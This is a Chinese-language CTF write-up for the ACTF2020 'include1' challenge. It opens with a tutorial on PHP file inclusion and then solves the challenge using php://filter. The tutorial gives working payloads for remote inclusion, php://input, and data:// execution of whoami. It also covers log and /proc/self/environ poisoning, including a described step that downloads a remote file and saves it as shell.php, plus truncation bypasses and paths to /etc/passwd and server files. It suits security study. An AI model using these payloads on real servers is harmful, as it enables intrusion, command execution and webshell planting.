ACTF2020 新生赛 include1 题解


ACTF2020 新生赛 include1 题解

前置知识

文件包含

典型特征

典型特征
变量的值为一个页面:

?page=a.php
?home=b.html
?file=content…

转自大佬博客:https://blog.csdn.net/xg_ren/article/details/79040414

文件包含原理

文件包含

开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含

文件包含漏洞

开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含分类

文件本地包含

包含服务器本身存在的恶意文件
a.txt:

<?php
phpinfo();
?>

b.php:

<?php
$b=$_GET['id'];
include($b);
?>

payload:

http://xxxx/b.php/?id=a.txt

注:
1.两个文件需在同一目录
2.被包含的页面后缀无论是什么都会被当做PHP解析

远程文件包含

包含其他网站上的恶意文件
payload:

http://xxxx/b.php?id=http://xxxxx/文件路径

注:
1.在php.ini中allow_url_fopen=on、allow_url_include=on
2.文件路径必须是绝对路径

存在文件包含的脚本语言及应用函数

php
include():执行到include函数时才文件包含,找不到被包含的文件路径时,发出警告,脚本继续运行
require():只要程序一运行就进行文件包含,找不到被包含的文件路径时,产生致命错误,脚本停止运行
include_once()require_once():与上述函数一样,只是若文件中代码已经被包含则不会再次包含
jsp/servlet
ava.io.file()
java.io.filereader()

各个协议实现命令执行

%00截断

是否需要截断是根据包含函数后有没有对包含的文件进行拼接一个后缀,如果有就需要使用%00进行截断
当php版本<=5.2使用%00截断

file://

用于访问本地文件系统
条件(php.ini):

allow_url_fopen   off/on
allow_url_include off/on

使用方法:file://[文件的绝对路径和文件名]

php://(php伪协议)

访问各个输入输出流
php://filter:用于读取源码并进行bash64编码输出;
条件(php.ini):

allow_url_fope   off/on
allow_url_include off/on

php://input:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
条件(php.ini):

allow_url_fope   off/on
allow_url_include on

php://stdin是只读的,php://stdout 和 php://stderr 是只写的。
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://fd 允许直接访问指定的文件描述符。

zip://,bzip://,zlib://

均属于压缩流,可以访问压缩文件中的子文件,不需要传后缀名
条件:

allow_url_fope   off/on
allow_url_include off/on

zip://使用方法:

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

bzip2://使用方法:

bzip2://file.bz2

zlib://使用方法:

zlib://file.gz
data://

条件:

allow_url_fope   on
allow_url_include on
phar://

数据流包装器

文件包含利用场景

包含上传文件

用户上传了一个可执行文件,通过文件包含那个文件实现漏洞利用

伪协议

php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:

php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用

例:

http://localhost/include/file.php?file=php://input     //URL
")?>  //POST,创建一个文件a.php;并写入phpinfo

data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件:

allow_url_include=On
php > 5.2

例:

http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令
http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行

php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过,例:

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword    //可以跟绝对路径也可以跟相对路径
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt   //远程路径
包含日志文件

1、日志的默认路径

/etc/httpd/logs/access_log或/var/log/httpd/access_log        //apache+linux
D:xamppapachelogsaccess.log或D:xamppapachelogserror.log  //apache_win2003
C:WINDOWSsystem32Logfiles                     //iis6.0+win2003
%SystemDrive%inetpublogsLogFiles            //iis7.0+win2003
nginx 日志文件在用户安装目录的logs目录下

2、web中间件默认配置uoh文件

/etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd        //apache+linux
C:/Windows/system32/inetsrv/metabase.xml          //iis6.0+win2003
C:WindowsSystem32inetsrvconfigapplicationHost.config           //iis7.0+win

3、利用

访问http://www.xx.com/时,也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开)
包含/proc/self/environ

1、找文件包含漏洞

www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd

2、检查proc/self/environ是否可以访问

www.aaa.com/view.php?page=../../../../../proc/self/environ

3、如果可读就注入代码

访问:www.aaa.com/view.php?page=../../../../../proc/self/environ
选择User-Agent 写代码如下:    //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建。如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器。

4、访问shell

包含session文件

?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //读取session文件

常见的绕过

%00截断(php<5.3.4)

说明:PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

超长字符截断

利用:利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用”./“的方式即可构造出超长目录字符串

任意目录遍历

利用:使用”../../../“这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

问号截断

利用:http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

做题详解

打开题目环境,有tips,点进去

回显:Can you find out the flag?
网址为:http://639457fd-50a6-49a7-9545-9c59db0af0f2.node4.buuoj.cn:81/?file=flag.php

判断为文件包含。考虑 “php://input”伪协议 + POST发送PHP代码的经典套路。

回显:hacker!

使用 “php://filter”伪协议” 来进行包含。
注意:使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码,阻止其执行。
构造Payload:

http://639457fd-50a6-49a7-9545-9c59db0af0f2.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTg3YTM2NjgtNzdlNC00ZTZjLWI1M2UtYmRiMzQ4ZTQyMzdhfQo=
base64解码后为

得到flag:flag{a87a3668-77e4-4e6c-b53e-bdb348e4237a}
参考:
https://blog.csdn.net/xg_ren/article/details/79040414
https://www.cnblogs.com/xiaobai141/p/14179629.html
https://www.cnblogs.com/zzjdbk/p/13030717.html
https://www.php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !